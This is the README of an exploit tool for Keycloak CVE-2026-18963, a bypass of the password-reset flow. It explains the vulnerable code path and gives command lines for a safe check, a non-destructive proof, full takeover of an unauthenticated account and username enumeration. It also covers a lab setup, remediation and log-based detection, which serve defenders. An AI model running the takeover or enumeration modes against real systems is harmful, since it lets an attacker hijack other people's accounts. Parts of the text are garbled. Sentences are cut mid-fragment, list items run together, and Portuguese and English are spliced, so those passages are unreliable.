
Exploit para Keycloak CVE-2026-18963 que permite a tomada de conta não autenticada via bypass de redefinição de credenciais. Inclui detecção segura, prova não destrutiva, tomada de conta completa, enumeração de nomes de usuário e um laboratório com versões vulneráveis e corrigidas.
Conhecendo apenas um nome de usuário ou endereço de e-mail, um atacante não autenticado define uma senha arbitrária em qualquer conta do Keycloak. O e-mail de redefinição de senha é enviado à vítima real e nunca é necessário — o atacante nunca lê uma caixa de entrada, nunca clica em um link e não possui nenhuma credencial ou sessão prévia.
Afetados: Keycloak 26.0.0 – 26.7.1. Corrigido na versão 26.7.2.
Um único comando. Nenhum nome de usuário válido é necessário e sem efeitos colaterais — ele não envia e-mail, não grava em nenhuma conta e para antes da etapa explorável.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, apenas biblioteca padrão. Nada para instalar.
| Saída | Veredicto | Significado |
|:---:|---|---|
| `0` | 🔴 **VULNERÁVEL** | o portão de e-mail estacionado foi servido — o bug em si |
| `2` | 🟢 **CORRIGIDO** | o fluxo desviou para o login e permaneceu lá (correção #51844 presente) |
| `2` | 🟡 **MITIGADO** | redefinição de credenciais inacessível — *Esqueci a senha* está desativado. **Não é uma correção.** |
| `3` | ⚪ **INCONCLUSIVO** | resposta não reconhecida — **não interprete isso como aprovação** |
Execute por realm — *Esqueci a senha* é uma configuração por realm, e `master` conta.
Detalhes, e por que a verificação não precisa de usuário e não altera nada, em
[§4a](#4a-safe-detection---safe-check--start-here).
**Já sabe que está exposto?** Vá para [remediação](#8-remediation) e
[detecção / caça a ameaças](#9-detection).
### Experimente sem um alvo
O repositório inclui um laboratório que inicia uma versão vulnerável **26.7.1** e uma corrigida **26.7.2**
lado a lado contra um realm idêntico, além de uma caixa de correio para observar o e-mail de redefinição
chegar e permanecer não lido enquanto a conta é assumida:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Apenas para testes autorizados
Este repositório existe para defensores, respondedores a incidentes e testadores de penetração autorizados. Execute-o contra sistemas que você possui ou para os quais possui permissão por escrito para testar. Tudo aqui vem com um laboratório vulnerável autocontido (
lab/), portanto nada externo precisa ser tocado para aprender como a falha funciona. Apontá-lo para infraestrutura de terceiros sem autorização é ilegal na maioria das jurisdições e não é algo que este projeto apoia.
Referências: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · correção keycloak#51844
Duas falhas encadeadas. Nenhuma é explorável isoladamente.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — qualquer POST que transporte a chave de formulário tryAnotherWay:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
A nota é um **booleano simples, sem registro de qual conjunto de execução a definiu**. Ela é
limpa apenas no ramo que trata um parâmetro `authenticationExecution` enviado. Omita esse parâmetro — como este PoC faz em todo o fluxo — e a flag permanece
definida durante toda a vida da sessão de autenticação.
`processFlow()` — enquanto a flag for verdadeira, a avaliação normal do fluxo é ignorada:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".
The glue is processResult() case FORK: — when Send Reset Email fires it stamps
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks
the browser to the login page. The parked execution is precisely the e-mail gate.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so *reaching* `action()` is treated as equivalent to proving mailbox control.
### The chain```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Seis pedidos HTTP, sem autenticação, sem parâmetro authenticationExecution em nenhum
momento.
model.getId(), e processFlow() a respeita somente quando
ela é igual a CURRENT_AUTHENTICATION_EXECUTION; caso contrário, remove-a. No ataque,
os dois diferem (id de choose-user vs. id de e-mail-gate) — exatamente o que o patch
detecta, e exatamente o sinal em que --safe-check se baseia.ResetCredentialEmail.action() agora exige
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
e, caso contrário, falha com INVALID_USER.6a9e60bb, que adicionou a tela de seletor de autenticador "Try another way"
ao fluxo de redefinição. Qualquer versão mais antiga simplesmente não possui esse
caminho de código. Isso inclui as distribuições antigas baseadas em WildFly e o
RH-SSO 7.x, que não são afetados por este bug, embora permaneçam em fim de vida e
vulneráveis a muitos outros. Permanecer em uma build legada não é uma remediação.26.7.2 é a única versão corrigida
publicada para o trem da comunidade. Se uma implantação estiver em 26.0 – 26.6, não
há nenhuma versão de patch nessa linha — a correção exige um upgrade de versão
menor, não uma versão pontual. As tags 26.4.15 / 26.6.6 são backports do
fornecedor e não são intercambiáveis com as imagens da comunidade.Pré-condições: o realm tem Forgot password habilitado e seu fluxo de
redefinição de credenciais vinculado usa o autenticador integrado
reset-credential-email.
O repositório inclui tanto um Keycloak vulnerável quanto um corrigido, importando o mesmo realm idêntico, além do Mailpit para capturar o e-mail de redefinição — para que você possa vê-lo chegar e permanecer não lido enquanto a conta é assumida.```bash cd lab docker compose up -d
| Service | URL | Version |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **vulnerável** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **controle corrigido** |
| `kc-mailpit` | http://localhost:8025 | caixa de correio da vítima |
Realm `poc`, cliente público `poc-app`, usuário `victim` / `OriginalPassw0rd!`, administrador do Keycloak
`admin` / `admin`.
Fixar diferentes builds com `KC_VULN_VERSION` / `KC_PATCHED_VERSION`:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
Entre execuções, lab/reset-victim.sh restaura a senha da vítima
(KC=http://localhost:8100 lab/reset-victim.sh tem como alvo a instância corrigida).
lab/legit_reset.py executa um reset genuíno ao extrair o link do action-token
do Mailpit e clicar nele. É a amostra de controle para o trabalho de detecção na
§9 — execute-o e o exploit contra o mesmo realm e depois compare os traces.
Teardown: docker compose down -v.
Python 3.9+, apenas biblioteca padrão — sem dependências, roda em qualquer jump box.``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` pode ser qualquer cliente público habilitado com o fluxo padrão. O cliente
`account` integrado existe em todos os realms e é a escolha confiável, mas restringe
os redirect URIs, então `--redirect-uri` **deve** ser
`<base>/realms/<realm>/account/` — o padrão é rejeitado e o passo 1 falha.
### 4a. Detecção segura (`--safe-check`) — comece aqui
Não precisa de **nome de usuário válido** e **não tem efeitos colaterais**. Este é o probe a usar
quando você não deve perturbar o alvo.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
Por que não precisa de utilizador e não envia e-mail. ResetCredentialEmail.authenticate()
também bifurca para um utilizador desconhecido:```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` `case FORK:` portanto estaciona `CURRENT_AUTHENTICATION_EXECUTION`
na execução do e-mail **mesmo que ninguém tenha sido encontrado** — e nenhum e-mail é enviado,
porque não há ninguém para quem enviar. A sonda para no discriminador e nunca
faz POST no gate, então `action()` nunca é executada: sem NPE no alvo, sem escrita
em `emailVerified`, sem e-mail, sem conta tocada.
**Ele afirma apenas o sinal positivo.** VULNERÁVEL ⟺ o passo 5 retorna um formulário
ainda dentro de `login-actions/reset-credentials` cujo `execution` difere da execução
de escolha de usuário. Esse *é* o bug: a nota obsoleta
`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` servindo o gate de e-mail estacionado.
Ambas as metades importam — o caminho prova que ainda estamos no fluxo de redefinição, o id
de execução diferente prova que é o gate de e-mail e não um re-render.
Qualquer outra coisa **não** é silenciosamente chamada de corrigida. PATCHED exige sua própria evidência
(fork para `login-actions/authenticate` *e* um campo de senha presente); tudo o que
resta é INCONCLUSIVO e precisa de um humano. Um design anterior tratava "não é o
formulário do gate" como corrigido, o que silenciosamente transforma todo tema personalizado, página de erro, bloqueio
de WAF e intersticial em um atestado de saúde falso.
### 4b. Prova não destrutiva (`--check`)
Conduz toda a cadeia, mas para no formulário Update Password. Alcançar esse formulário
sem um token de ação é conclusivo.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
Dois efeitos colaterais são inevitáveis, porque ocorrem a montante do formulário de senha — declare-os no escopo do engajamento:
action() vulnerável define emailVerified = true na conta.Nenhuma credencial é modificada. Prefira uma conta de teste dedicada.
Apenas para demonstração em laboratório ou autorizada explicitamente.```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
Sair `0` vulnerável · `2` não explorável · `1` senha alterada, mas a confirmação
da concessão falhou (aponte `--verify-client-id` para um cliente com Direct Access Grants).
Concluir o fluxo também retorna um **código de autorização OIDC para a vítima**, portanto
a tomada de controle é imediata — não é necessário um segundo login com a nova senha.
### 4d. Enumeração de nomes de usuário (`--enum`)
A mesma falha é um oráculo de nomes de usuário, e mais forte do que o Keycloak normalmente
permite. `ResetCredentialEmail.authenticate()` deliberadamente retorna um idêntico
*"You should receive an email shortly"* para usuários reais e desconhecidos, portanto o
próprio formulário de redefinição não pode ser usado para enumerar — essa defesa ainda se
mantém no passo 4. Ela se quebra no **passo 6**, onde `action()` desreferencia o usuário
incondicionalmente (`context.getUser().setEmailVerified(true)`).
| Identificador | Passo 6 | Veredito |
|---|---|---|
| usuário real | `200`, chega ao formulário de Update Password | VÁLIDO |
| usuário desconhecido | `400` (página de erro NPE) | INVÁLIDO |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
Nunca altera uma palavra-passe. Sai com 0 se algum identificador for resolvido, 2 caso contrário.
Custo por sonda — leia antes de executar. Alcançar o oráculo requer concluir
o passo 4, pelo que cada sonda contra uma conta real envia a essa pessoa um e-mail
genuíno de reposição de palavra-passe e define emailVerified = true no seu registo.
Não é uma verificação silenciosa: é visível para o titular da conta e altera os seus
dados. Uma wordlist de 5.000 nomes são 5.000 e-mails para pessoas reais e 5.000 contas alteradas.
Use-o para demonstrar que o oráculo existe num punhado de identificadores para o relatório — não para recolher um diretório. As proteções são deliberadamente conservadoras:
--enum-max N recusa listas com mais de N itens (padrão 25)--enum-delay SEC pausa entre sondas (padrão 2.0)Aumentar qualquer um deles deve ser uma decisão consciente registada nas notas do engagement.
Ângulo para o relatório: isto anula um controlo anti-enumeração que a Keycloak implementou de propósito. Vale a pena documentar como uma descoberta própria juntamente com a tomada de controlo, e elimina "os nossos nomes de utilizador não são adivinháveis" como fator atenuante.
Qualquer implementação séria inclui um tema de login personalizado, e os temas
personalizados renomeiam ou removem os ids de elementos padrão (kc-form-login,
kc-reset-password-form, kc-select-credential-form, kc-passwd-update-form).
Uma ferramenta que dependa desses ids reporta um falso negativo exatamente nas
implementações que mais importam — esta reportava, antes de ser reescrita. Temas
vistos em produção usam ids como id="login-form" e incluem uma âncora de esqueci
a palavra-passe com um href vazio.
Este PoC depende, portanto, de nada que um tema controle:
action=
dos formulários na página — login-actions/reset-credentials,
login-actions/authenticate, login-actions/required-action — e do parâmetro de
consulta execution dentro deles. Esses caminhos são gerados pelo próprio
LoginActionsService da Keycloak, não pelo tema.grep ao código-fonte: não há um único id kc-* nele./realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… e testa-o
diretamente, retirando tab_id de qualquer formulário que a página de login exponha.Se um alvo ainda devolver INCONCLUSIVE, execute com --verbose --dump out.html e
leia a resposta — a ferramenta recusa-se deliberadamente a adivinhar.
Um cliente que imponha PKCE rejeita o passo 1 com
Missing parameter: code_challenge_method. Isto é reportado como INCONCLUSIVE
(saída 3), nunca como aprovação. Até que o suporte a PKCE seja implementado, um realm
cujo único cliente público utilizável exija PKCE não pode ser verificado com esta
ferramenta — experimente o cliente account integrado, que normalmente não o impõe.
Cada execução abaixo é contra o laboratório neste repositório, usando o código como publicado.
Duas descobertas que valem a pena assinalar para além do texto do advisory:
ResetCredentialEmail.authenticate() segue o caminho forkWithSuccessMessage quando
user.getEmail() é null, o que ainda estaciona a execução via case FORK:. O mesmo
aplica-se a uma falha no envio de SMTP — um servidor de correio avariado ou ausente
não é uma mitigação. Isto é diretamente relevante para realms federados com
AD/LDAP, onde as contas frequentemente não têm atributo de correio.MFA não é uma mitigação. O fluxo padrão de reset-credentials não contém um passo OTP, e uma vez ultrapassado, o atacante pode remover os fatores registados da vítima.
Correção: atualize. 26.7.2 para builds da comunidade, ou a tag de backport do fornecedor correspondente à sua subscrição. Tudo o resto é uma solução provisória.
Mitigações interinas, melhor primeiro:
master.Realms cujo fluxo de reposição vinculado seja totalmente personalizado e nunca invoque
reset-credential-email não são exploráveis através deste caminho.
A Keycloak não emite nenhum evento de "action token ignorado", pelo que a deteção é
heurística. Execute lab/legit_reset.py juntamente com o exploit para gerar ambos os
traços e comparar.
GET /login-actions/action-token?... (a vítima a clicar no e-mail) antes da
alteração da palavra-passe. A bypass não tem esse GET. Em vez disso, mostra um POST
para login-actions/reset-credentials cujo corpo contém tryAnotherWay, seguido de
um segundo POST para o mesmo caminho com um corpo vazio, e depois o formulário de
palavra-passe. Um POST tryAnotherWay dentro do fluxo de reposição não é algo que a UI
padrão produza em uso normal.SEND_RESET_PASSWORD seguido de UPDATE_PASSWORD a
partilhar o mesmo code_id dentro de poucos segundos — sub-segundo no laboratório.
Um utilizador com o e-mail já aberto também pode parecer rápido, por isso corrobore
com os registos do proxy.emailVerified mudou para true sem um evento VERIFY_EMAIL
correspondente são um indicador de apoio útil, e um que o atacante não consegue
evitar deixar.A ausência de eventos não prova nada se o registo de eventos ou a retenção estiverem desativados. Verifique a janela de retenção antes de concluir que uma implementação não foi atingida.
Snizi — github.com/Snizi — [email protected]
Publicado sob a Licença MIT. Issues e PRs bem-vindos — particularmente suporte a PKCE e peculiaridades adicionais de temas do mundo real.
| Linha | Vulnerável | Correção da comunidade |
|---|
| Legada (Keycloak baseado em WildFly, ≤ 17) | não afetada | — |
| Quarkus 17 – 25.x | não afetada | — |
| 26.0 | 26.0.0 – 26.0.17 | nenhuma |
| 26.1 | 26.1.0 – 26.1.5 | nenhuma |
| 26.2 | 26.2.0 – 26.2.16 | nenhuma |
| 26.3 | 26.3.0 – 26.3.5 | nenhuma |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (tag de backport do fornecedor) |
| 26.5 | 26.5.0 – 26.5.7 | nenhuma |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (tag de backport do fornecedor) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| Exit | Verdict | Significado |
|---|
0 | VULNERÁVEL | o gate de e-mail estacionado foi servido — o bug em si |
2 | CORRIGIDO | o fluxo bifurcou para o login e permaneceu lá (correção #51844 presente) |
2 | MITIGADO | reset-credentials inacessível — Forgot password está desativado. Não é uma correção. |
3 | INCONCLUSIVO | resposta não reconhecida — não interprete isto como aprovação |
| Teste | Alvo | Resultado |
|---|
--safe-check | 26.7.1 | VULNERABLE, saída 0 — gate de e-mail servido (execution ≠ choose-user) |
--safe-check | 26.7.2 | PATCHED, saída 2 — bifurcado para login e permaneceu |
--safe-check, Esqueci a palavra-passe desativado | 26.7.2 | MITIGATED, saída 2 — HTTP 400, fluxo inacessível |
| Tomada de controlo completa | 26.7.1 | saída 0 — palavra-passe definida, código OIDC emitido, password grant confirma |
| Tomada de controlo completa | 26.7.2 | saída 2 — bloqueado no passo 5, conta intocada |
--check | 26.7.1 | alcançou UPDATE_PASSWORD; palavra-passe verificada inalterada depois |
--enum | 26.7.1 | victim e [email protected] VALID, does-not-exist INVALID |
| Estado da credencial após tomada de controlo | 26.7.1 | nova palavra-passe → 200, palavra-passe antiga → 400 |
| Estado da credencial após execução bloqueada | 26.7.2 | palavra-passe antiga → 200, palavra-passe do atacante → 400 |
| Caixa de correio da vítima | Mailpit | e-mails de reposição entregues e não lidos; a ligação do action-token nunca é obtida |